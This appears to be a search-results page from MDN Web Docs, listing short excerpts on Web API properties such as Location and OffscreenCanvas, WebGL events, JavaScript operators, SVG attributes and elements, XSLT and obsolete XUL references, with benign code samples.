... bubbles no cancelable no interface messageevent event handler property onmessageerror examples listen for messageerror using addeventlistener(): // inside worker.js self.addeventlistener('messageerror', (event) => { self.postmessage('error receiving message'); console.error(event); }); the same, but using the onmessageerror event handler property: // inside worker.js self.onmessageerror = (event) => { self.postmessage('error receiving message'); console.error(event); }; specifications specification status html living standard living standard ...
DedicatedWorkerGlobalScope.onmessageerror - Web APIs
the onmessageerror event handler of the dedicatedworkerglobalscope interface is an eventlistener, called whenever an messageevent of type messageerror is fired on the worker—that is, when it receives a message that cannot be deserialized.
...}; specifications specification status comment html living standardthe definition of 'onmessageerror' in that specification.
HTMLCanvasElement: webglcontextcreationerror event - Web APIs
this event has a webglcontextevent.statusmessage property, which can contain a platform dependent string with more information about the failure.
... bubbles yes cancelable yes interface webglcontextevent event handler property none example var canvas = document.getelementbyid('canvas'); canvas.addeventlistener('webglcontextcreationerror', function(e) { console.log(e.statusmessage || 'unknown error'); }, false); var gl = canvas.getcontext('webgl'); // logs statusmessage or "unknown error" if unable to create webgl context specifications specification status comment webgl 1.0the definition of 'webglcontextcreationerror' in that specification.
HTMLCanvasElement: webglcontextlost event - Web APIs
bubbles yes cancelable yes interface webglcontextevent event handler property none example with the help of the webgl_lose_context extension, you can simulate the webglcontextlost event: const canvas = document.getelementbyid('canvas'); const gl = canvas.getcontext('webgl'); canvas.addeventlistener('webglcontextlost', (event) => { console.log(event); }); gl.getextension('webgl_lose_context').losecontext(); // "webglcontextlost" event is logged.
... specifications specification status comment webgl 1.0the definition of 'webglcontextlost' in that specification.
Location: hash - Web APIs
WebAPILocationhash
the hash property of the location interface returns a usvstring containing a '#' followed by the fragment identifier of the url.
... syntax string = object.hash; object.hash = string; examples <a id="myanchor" href="/docs/location.href#examples">examples</a> <script> var anchor = document.getelementbyid("myanchor"); console.log(anchor.hash); // returns '#examples' </script> specifications specification status comment html living standardthe definition of 'hash' in that specification.
Location: host - Web APIs
WebAPILocationhost
the host property of the location interface is a usvstring containing the host, that is the hostname, and then, if the port of the url is nonempty, a ':', and the port of the url.
... syntax string = object.host; object.host = string; examples var anchor = document.createelement("a"); anchor.href = "https://developer.mozilla.org/location.host" anchor.host == "developer.mozilla.org" anchor.href = "https://developer.mozilla.org:443/location.host" anchor.host == "developer.mozilla.org" // the port number is not included because 443 is the scheme's default port anchor.href = "https://developer.mozilla.org:4097/location.host" anchor.host == "developer.mozilla.org:4097" specifications specification status comment html living standardthe definition of 'host' in that specification.
Location: hostname - Web APIs
WebAPILocationhostname
the hostname property of the location interface is a usvstring containing the domain of the url.
... syntax string = object.hostname; object.hostname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/location.hostname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.hostname; // returns:'developer.mozilla.org' specifications specification status comment html living standardthe definition of 'hostname' in that specification.
Location: origin - Web APIs
WebAPILocationorigin
the origin read-only property of the location interface is a usvstring containing the unicode serialization of the origin of the represented url; that is: for url using the http or https, the scheme followed by '://', followed by the domain, followed by ':', followed by the port (the default port, 80 and 443 respectively, if explicitely specified); for url using file: scheme, the value is browser dependant; for url using the blob: scheme, the origin of the url following blob:.
... syntax string = object.origin; examples // on this page, returns the origin var result = window.location.origin; // returns:'https://developer.mozilla.org' specifications specification status comment html living standardthe definition of 'origin' in that specification.
Location: password - Web APIs
WebAPILocationpassword
the password property of the location interface is a usvstring containing the password specified before the domain name.
... syntax string = object.password; object.password = string; examples // let's <a id="myanchor" href="https://anonymous:flabada@developer.mozilla.org/docs/location.username"> be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.password; // returns:'flabada' ...
Location: pathname - Web APIs
WebAPILocationpathname
the pathname property of the location interface is a usvstring containing an initial '/' followed by the path of the url (or the empty string if there is no path).
... syntax string = object.pathname; object.pathname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/location.pathname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.pathname; // returns:'/docs/location.pathname' specifications specification status comment html living standardthe definition of 'pathname' in that specification.
Location: port - Web APIs
WebAPILocationport
the port property of the location interface is a usvstring containing the port number of the url.
... syntax string = object.port; object.port = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org:443/docs/location.port"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.port; // returns:'443' specifications specification status comment html living standardthe definition of 'location.port' in that specification.
Location: protocol - Web APIs
WebAPILocationprotocol
the protocol property of the location interface is a usvstring representing the protocol scheme of the url, including the final ':'.
... syntax string = object.protocol; object.protocol = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/location.protocol"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.protocol; // returns:'https:' specifications specification status comment html living standardthe definition of 'protocol' in that specification.
Location: search - Web APIs
WebAPILocationsearch
the search property of the location interface is a search string, also called a query string; that is, a usvstring containing a '?' followed by the parameters of the url.
... syntax string = object.search; object.search = string; examples // let an <a id="myanchor" href="https://developer.mozilla.org/docs/location.search?q=123"> element be in the document var anchor = document.getelementbyid("myanchor"); var querystring = anchor.search; // returns:'?q=123' // further parsing: let params = new urlsearchparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment html living standardthe definition of 'search' in that specification.
Location: username - Web APIs
WebAPILocationusername
the username property of the location interface is a usvstring containing the username specified before the domain name.
... syntax string = object.username; object.username = string; examples // let's <a id="myanchor" href="https://anonymous:flabada@developer.mozilla.org/docs/location.username"> be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.username; // returns:'anonymous' ...
audioCapabilities - Web APIs
the mediakeysystemconfiguration.audiocapabilities read-only property returns an array of supported audio type and capability pairs.
... syntax var audiocapabilities[ {contenttype: 'contenttype', robustness:'robustness'}] = mediasystemconfiguration.audiocapabilities; specifications specification status comment encrypted media extensionsthe definition of 'audiocapabilities' in that specification.
videoCapabilities - Web APIs
the mediakeysystemconfiguration.videocapabilities read-only property returns an array of supported video type and capability pairs.
... syntax var videocapabilities[{contenttype: 'contenttype', robustness:'robustness'}] = mediasystemconfiguration.videocapabilities; specifications specification status comment encrypted media extensionsthe definition of 'videocapabilities' in that specification.
OffscreenCanvas.height - Web APIs
the height property returns and sets the height of an offscreencanvas object.
... syntax var pxl = offscreen.height; offscreen.height = pxl; examples creating a new offscreen canvas and returning or setting the height of the offscreen canvas: var offscreen = new offscreencanvas(256, 256); offscreen.height; // 256 offscreen.height = 512; specifications specification status comment html living standardthe definition of 'offscreencanvas.height' in that specification.
OffscreenCanvas.width - Web APIs
the width property returns and sets the width of an offscreencanvas object.
... syntax var pxl = offscreen.width; offscreen.width = pxl; examples creating a new offscreen canvas and returning or setting the width of the offscreen canvas: var offscreen = new offscreencanvas(256, 256); offscreen.width; // 256 offscreen.width = 512; specifications specification status comment html living standardthe definition of 'offscreencanvas.width' in that specification.
Reason: CORS header ‘Origin’ cannot be added - HTTP
reason reason: cors header ‘origin’ cannot be added what went wrong?
... this can happen if the javascript code is running with enhanced privileges allowing it access to multiple domains' content, for example.
Multiplication (*) - JavaScript
the multiplication operator (*) produces the product of the operands.
... syntax operator: x * y examples multiplication using numbers 2 * 2 // 4 -2 * 2 // -4 multiplication with infinity infinity * 0 // nan infinity * infinity // infinity multiplication with non-numbers 'foo' * 2 // nan specifications specification ecmascript (ecma-262)the definition of 'multiplication operator' in that specification.
Multiplication assignment (*=) - JavaScript
the multiplication assignment operator (*=) multiplies a variable by the value of the right operand and assigns the result to the variable.
... syntax operator: x *= y meaning: x = x * y examples using multiplication assignment // assuming the following variable // bar = 5 bar *= 2 // 10 bar *= 'foo' // nan specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
accumulate - SVG: Scalable Vector Graphics
specifications specification status comment svg animations level 2the definition of 'accumulate' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'accumulate' in that specification.
additive - SVG: Scalable Vector Graphics
specifications specification status comment svg animations level 2the definition of 'additive' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'additive' in that specification.
alphabetic - SVG: Scalable Vector Graphics
for horizontally oriented glyph layouts, it indicates the alignment coordinate for glyphs to achieve alphabetic baseline alignment.
... only one element is using this attribute: <font-face> usage notes value <number> default value 0 animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'alphabetic' in that specification.
amplitude - SVG: Scalable Vector Graphics
four elements are using this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> usage notes value <number> default value 1 animatable yes specifications specification status comment filter effects module level 1the definition of 'amplitude' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'amplitude' in that specification.
azimuth - SVG: Scalable Vector Graphics
WebSVGAttributeazimuth
<fediffuselighting> <fedistantlight azimuth="240" /> </fediffuselighting> </filter> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight1);" /> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight2); transform: translatex(240px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'azimuth' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'azimuth' in that specification.
baseProfile - SVG: Scalable Vector Graphics
the attribute does not specify any processing restrictions; it can be considered metadata.
... </svg> specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'baseprofile' in that specification.
contentStyleType - SVG: Scalable Vector Graphics
the use of contentstyletype is therefore deprecated.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'contentscripttype' in that specification.
divisor - SVG: Scalable Vector Graphics
WebSVGAttributedivisor
specifications specification status comment filter effects module level 1the definition of 'divisor' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'divisor' in that specification.
elevation - SVG: Scalable Vector Graphics
<fediffuselighting> <fedistantlight elevation="45" /> </fediffuselighting> </filter> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight1);" /> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight2); transform: translatex(240px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'elevation' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'elevation' in that specification.
g1 - SVG: Scalable Vector Graphics
WebSVGAttributeg1
two elements are using this attribute: <hkern> and <vkern> context notes value <name># default value none animatable no <name># this value indicates a comma-separated sequence of glyph names (i.e., values that match glyph-name attributes on <glyph> elements) which identify a set of possible first glyphs in the kerning pair.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'g1' in that specification.
g2 - SVG: Scalable Vector Graphics
WebSVGAttributeg2
two elements are using this attribute: <hkern> and <vkern> context notes value <name># default value none animatable no <name># this value indicates a comma-separated sequence of glyph names (i.e., values that match glyph-name attributes on <glyph> elements) which identify a set of possible second glyphs in the kerning pair.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'g2' in that specification.
glyphRef - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'glyphref for <glyphref>' in that specification.
... recommendation initial definition for <glyphref> scalable vector graphics (svg) 1.1 (second edition)the definition of 'altglyph for <altglyph>' in that specification.
k - SVG: Scalable Vector Graphics
WebSVGAttributek
two elements are using this attribute: <hkern> and <vkern> context notes value <number> default value none animatable no <number> this value indicates the amount for decreasing the spacing between the two glyphs in the kerning pair.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'k' in that specification.
k1 - SVG: Scalable Vector Graphics
WebSVGAttributek1
org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'k1' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'k1' in that specification.
k2 - SVG: Scalable Vector Graphics
WebSVGAttributek2
org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'k2' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'k2' in that specification.
k3 - SVG: Scalable Vector Graphics
WebSVGAttributek3
org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'k3' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'k3' in that specification.
k4 - SVG: Scalable Vector Graphics
WebSVGAttributek4
org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'k4' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'k4' in that specification.
kernelMatrix - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of 'kernelmatrix' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'kernelmatrix' in that specification.
lengthAdjust - SVG: Scalable Vector Graphics
</text> </g> </svg> usage notes value spacing | spacingandglyphs default value spacing animatable yes specifications specification status comment scalable vector graphics (svg) 2the definition of 'lengthadjust' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'lengthadjust' in that specification.
lighting-color - SVG: Scalable Vector Graphics
pointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting2); transform: translatex(220px);" /> </svg> usage notes value color default value white animatable yes specifications specification status comment filter effects module level 1the definition of 'lighting-color' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'lighting-color' in that specification.
limitingConeAngle - SVG: Scalable Vector Graphics
"100" pointsaty="100" limitingconeangle="40" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#spotlight1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#spotlight2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'limitingconeangle' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'limitingconeangle' in that specification.
markerUnits - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'markerunits' in that specification.
... candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'markerunits' in that specification.
mode - SVG: Scalable Vector Graphics
WebSVGAttributemode
specifications specification status comment filter effects module level 1the definition of 'mode' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'mode' in that specification.
onclick - SVG: Scalable Vector Graphics
WebSVGAttributeonclick
<symbol>, <text>, <textpath>, <title>, <tref>, <tspan>, <use>, <view> html, body, svg { height: 100%; margin: 0; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <circle cx="100" cy="100" r="100" onclick="alert('you have clicked the circle.')" /> </svg> usage notes value <anything> default value none animatable no specifications specification status comment scalable vector graphics (svg) 2the definition of 'onclick' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'onclick' in that specification.
overline-position - SVG: Scalable Vector Graphics
the overline-position attribute represents the ideal vertical position of the overline.
... usage context categories none value <number> animatable no normative document svg 1.1 (2nd edition) elements the following elements can use the overline-position attribute: <font-face> ...
radius - SVG: Scalable Vector Graphics
WebSVGAttributeradius
usage notes value <number-optional-number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'radius' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'radius' in that specification.
rotate - SVG: Scalable Vector Graphics
WebSVGAttributerotate
usage notes value auto | auto-reverse | <number> default value 0 animatable no the auto and auto-reverse values allow the animated element's rotation to change dynamically as it travels along the path.
...ansform="translate(300, 0)"> <use href="#themotionpath"/> <!-- purple arrow which will have a static rotation of 210 degrees --> <path fill="purple" d="m-5,-5 l10,0 -5,5 0,0 z"> <!-- define the motion path animation --> <animatemotion dur="6s" repeatcount="indefinite" rotate="210"> <mpath href="#themotionpath"/> </animatemotion> </path> </g> </svg> result specifications specification status comment svg animations level 2the definition of 'rotate' in that specification.
seed - SVG: Scalable Vector Graphics
WebSVGAttributeseed
</svg> usage notes value <number> default value 0 animatable yes example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence basefrequency="0.05" seed="1000" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of 'seed' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'seed' in that specification.
specularConstant - SVG: Scalable Vector Graphics
ht x="60" y="60" z="20" /> </fespecularlighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#specularlighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#specularlighting2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 1 animatable yes specifications specification status comment filter effects module level 1the definition of 'specularconstant' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'specularconstant' in that specification.
stdDeviation - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of 'stddeviation' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'stddeviation' in that specification.
strikethrough-position - SVG: Scalable Vector Graphics
« svg attribute reference home the strikethrough-position attribute represents the ideal vertical position of the strikethrough.
... usage context categories none value <number> animatable no normative document svg 1.1 (2nd edition) elements the following elements can use the strikethrough-position attribute: <font-face> ...
tabindex - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'tabindex' in that specification.
... candidate recommendation initial definition ...
u1 - SVG: Scalable Vector Graphics
WebSVGAttributeu1
two elements are using this attribute: <hkern> and <vkern> context notes value [ <character> | <urange> ]# default value none animatable no [ <character> | <urange> ]# this value indicates a comma-separated sequence of unicode characters and/or ranges of unicode characters, which identify a set of possible first glyphs in a kerning pair.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'u1' in that specification.
u2 - SVG: Scalable Vector Graphics
WebSVGAttributeu2
two elements are using this attribute: <hkern> and <vkern> context notes value [ <character> | <urange> ]# default value none animatable no [ <character> | <urange> ]# this value indicates a comma-separated sequence of unicode characters and/or ranges of unicode characters, which identify a set of possible second glyphs in a kerning pair.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'u2' in that specification.
underline-position - SVG: Scalable Vector Graphics
« svg attribute reference home the underline-position attribute represents the ideal vertical position of the underline.
... usage context categories none value <number> animatable no normative document svg 1.1 (2nd edition) elements the following elements can use the underline-position attribute: <font-face> ...
unicode - SVG: Scalable Vector Graphics
WebSVGAttributeunicode
the unicode attribute specifies one or more unicode characters indicating the sequence of unicode characters which corresponds to a glyph.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'unicode' in that specification.
units-per-em - SVG: Scalable Vector Graphics
only one element is using this attribute: <font-face> usage notes value <number> default value 1000 animatable no <number> this value indicates the the number of coordinate units on the em square.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'units-per-em' in that specification.
v-alphabetic - SVG: Scalable Vector Graphics
the v-alphabetic attribute defines indicates the alignment coordinate for glyphs to achieve alphabetic baseline alignment.
... only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'v-alphabetic' in that specification.
version - SVG: Scalable Vector Graphics
WebSVGAttributeversion
the version attribute is used to indicate what specification a svg document conforms to.
... <svg version="1.1" viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="80" height="80"/> </svg> usage notes value <number> default value none animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'version' in that specification.
viewBox - SVG: Scalable Vector Graphics
WebSVGAttributeviewBox
value <number>?, <number>?, <number>?, <number> default value none animatable yes specification specification status comment scalable vector graphics (svg) 2the definition of 'viewbox' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'viewbox' in that specification.
viewTarget - SVG: Scalable Vector Graphics
the viewtarget attribute indicates the target object associated with the view.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'viewtarget' in that specification.
<altGlyphDef> - SVG: Scalable Vector Graphics
usage context categoriestext content elementpermitted contenteither: one or more <glyphref> elements, or one or more <altglyphitem> elements attributes global attributes core attributes specific attributes none dom interface this element implements the svgaltglyphdefelement interface.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<altglyphdef>' in that specification.
<color-profile> - SVG: Scalable Vector Graphics
usage context categoriesnonepermitted contentany number of the following elements, in any order:descriptive elements attributes global attributes core attributes » xlink attributes » specific attributes local name rendering-intent xlink:href dom interface this element implements the svgcolorprofileelement interface.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<color-profile>' in that specification.
<font-face-format> - SVG: Scalable Vector Graphics
usage context categoriesfont elementpermitted contentempty attributes global attributes core attributes specific attributes string dom interface this element implements the svgfontfaceformatelement interface.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font-face-format>' in that specification.
<font-face-uri> - SVG: Scalable Vector Graphics
usage context categoriesfont elementpermitted contentany number of the following elements, in any order:<font-face-format> attributes global attributes core attributes xlink attributes specific attributes xlink:href dom interface this element implements the svgfontfaceurielement interface.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font-face-uri>' in that specification.
<font> - SVG: Scalable Vector Graphics
WebSVGElementfont
usage context categoriesfont elementpermitted contentany number of the following elements, in any order:descriptive elements<font-face>, <glyph>, <hkern>, <missing-glyph>, <vkern> attributes global attributes core attributes presentation attributes class style externalresourcesrequired specific attributes horiz-origin-x horiz-origin-y horiz-adv-x vert-origin-x vert-origin-y vert-adv-y dom interface this element implements the svgfontelement interface.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font>' in that specification.
<glyphRef> - SVG: Scalable Vector Graphics
WebSVGElementglyphRef
usage context categoriestext content elementpermitted contentempty attributes global attributes core attributes » presentation attributes » xlink attributes » class style specific attributes x y dx dy glyphref format xlink:href dom interface this element implements the svgglyphrefelement interface.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<glyphref>' in that specification.
<hatch> - SVG: Scalable Vector Graphics
WebSVGElementhatch
hatches defined by the <hatch> element can then referenced by the fill and stroke css properties on a given graphics element to indicate that the given element shall be filled or stroked with the hatch.
... usage context categoriesnever-rendered element, paint server elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements<hatchpath>, <script>, <style> attributes global attributes core attributes global event attributes presentation attributes style attributes specific attributes x y pitch rotate hatchunits hatchcontentunits transform href dom interface this element implements the svghatchelement interface.
<hkern> - SVG: Scalable Vector Graphics
WebSVGElementhkern
usage context categoriesfont elementpermitted contentempty attributes global attributes core attributes specific attributes u1 g1 u2 g2 k dom interface this element implements the svghkernelement interface.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<hkern>' in that specification.
<missing-glyph> - SVG: Scalable Vector Graphics
usage context categoriesnonepermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> attributes global attributes core attributes presentation attributes class style specific attributes d horiz-adv-x vert-origin-x vert-origin-y vert-adv-y dom interface this element implements the svgmissingglyphelement interface.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<missing-glyph>' in that specification.
Linking - SVG: Scalable Vector Graphics
WebSVGLinking
vg documents are embedded within a parent html document using the tag: page1.html: <html> <body> <p>this is a svg button:</p> <object width="100" height="50" type="image/svg+xml" data="button.svg"/> </body> </html> button.svg: <?xml version="1.1" encoding="utf-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <a xlink:href="page2.html" target="_top"> <g> <!-- button graphical elements here --> </g> </a> </svg> the specification says that the browser should navigate to the html document page2.html when the button graphics are clicked.
... to get around this, requires a little ugly javascript hacking: button.svg: <?xml version="1.1" encoding="utf-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <g onclick="top.document.href='page2.html'" cursor="pointer"> <!-- button graphical elements here --> </g> </svg> example for an example of this solution at work see www.codedread.com.
<xsl:call-template> - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:call-template> element invokes a named template.
... syntax <xsl:call-template name=name> <xsl:with-param> [optional] </xsl:call-template> required attribute name specifies the name of the template you wish to invoke.
The Netscape XSLT/XPath Reference - XSLT: Extensible Stylesheet Language Transformations
elements xsl:apply-imports (supported) xsl:apply-templates (supported) xsl:attribute (supported) xsl:attribute-set (supported) xsl:call-template (supported) xsl:choose (supported) xsl:comment (supported) xsl:copy (supported) xsl:copy-of (supported) xsl:decimal-format (supported) xsl:element (supported) xsl:fallback (not supported) xsl:for-each (supported) xsl:if (supported) xsl:import (mostly supported) xsl:include (supported) xsl:key (supported) xsl:message (supported) xsl:namespace-alias (not supp...
...ed) xsl:transform (supported) xsl:value-of (partially supported) xsl:variable (supported) xsl:when (supported) xsl:with-param (supported) axes ancestor ancestor-or-self attribute child descendant descendant-or-self following following-sibling namespace (not supported) parent preceding preceding-sibling self functions boolean() (supported) ceiling() (supported) concat() (supported) contains() (supported) count() (supported) current() (supported) document() (supported) element-available() (supported) false() (supported) floor() (supported) format-number() (supported) function-available() (supported) generate-id() (supported) id() (partially supported) key() (supported) lang() (supported) last() (supported) local-name() (supported...
Page modifications - Archive of obsolete content
please see the page modifications api proposal for now.
ABCasm - Archive of obsolete content
abcasm - an abc assembler ...
Transforming XML with XSLT:The Netscape XSLT - Archive of obsolete content
this page was auto-generated because a user created a sub-page to this page.
matchcaseaccesskey - Archive of obsolete content
« xul reference home matchcaseaccesskey type: string the access key for the "match case" checkbox in the findbar.
buttonaccesskeycancel - Archive of obsolete content
« xul reference home buttonaccesskeycancel type: string the access key to use for the "cancel" button.
buttonlabelcancel - Archive of obsolete content
« xul reference home buttonlabelcancel type: string the label to appear on the "cancel" button.
coalesceduplicatearcs - Archive of obsolete content
« xul reference home coalesceduplicatearcs type: boolean valid on any element that has a datasources attribute.
predicate - Archive of obsolete content
« xul reference home predicate type: uri the predicate or property to match.
cancelDialog - Archive of obsolete content
« xul reference home canceldialog() return type: no return value cancels the dialog and closes it, similar to pressing the cancel button.
getNotificationBox - Archive of obsolete content
« xul reference home getnotificationbox( browser ) return type: notificationbox element returns a notificationbox for the specified browser element.
removeCurrentNotification - Archive of obsolete content
« xul reference home removecurrentnotification() return type: no return value remove the current notification.
removeNotification - Archive of obsolete content
« xul reference home removenotification( item ) return type: element remove a notification, displaying the next one if the removed item is the current one.
removeTransientNotifications - Archive of obsolete content
« xul reference home removetransientnotifications( ) return type: no return value remove only those notifications that have a persistence value of zero, and decrements by one the persistence value of those that have a non-zero value.
allNotifications - Archive of obsolete content
« xul reference allnotifications type: nodelist nodelist of all notifications.
canGoBack - Archive of obsolete content
« xul reference cangoback type: boolean this read-only property is true if there is a page to go back to in the session history and the back button should be enabled.
canGoForward - Archive of obsolete content
« xul reference cangoforward type: boolean this read-only property is true if there is a page to go forward to in the session history and the forward button should be enabled.
currentNotification - Archive of obsolete content
« xul reference currentnotification type: notification element the currently displayed notification element or null.
notificationsHidden - Archive of obsolete content
« xul reference notificationshidden type: boolean indicating whether the notification area should be hidden.
predicate - Archive of obsolete content
« xul reference predicate type: uri the predicate or property to match.
mozilla.dev.apps.calendar - Archive of obsolete content
this page was auto-generated because a user created a sub-page to this page.
Debug.msTraceAsyncCallbackCompleted - Archive of obsolete content
indicates that the callback stack associated with a previously specified asynchronous operation has completed.
Local scope - MDN Web Docs Glossary: Definitions of Web-related terms
local scope is a characteristic of variables that makes them local (i.e., the variable name is only bound to its value within a scope which is not the global scope).
Creating localizable web apps
this page was auto-generated because a user created a sub-page to this page.
mozIVisitStatusCallback
toolkit/components/places/moziasynchistory.idlscriptable this interface provides callback handling functionality for moziasynchistory.isurivisited 1.0 66 introduced gecko 11.0 inherits from: nsisupports last changed in gecko 11.0 (firefox 11.0 / thunderbird 11.0 / seamonkey 2.8) method overview void isvisited(in nsiuri auri, in boolean avisitedstatus); methods isvisited() called when the moziasynchistory.isurivisited() method's check to determine whether a given uri has been visited has completed.
nsIAccessibleCaretMoveEvent
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) attributes attribute type description caretoffset long return caret offset.
addCategoryEntry
this content is now available at nsicategorymanager.addcategoryentry().
deleteCategory
this content is now available at nsicategorymanager.deletecategory().
deleteCategoryEntry
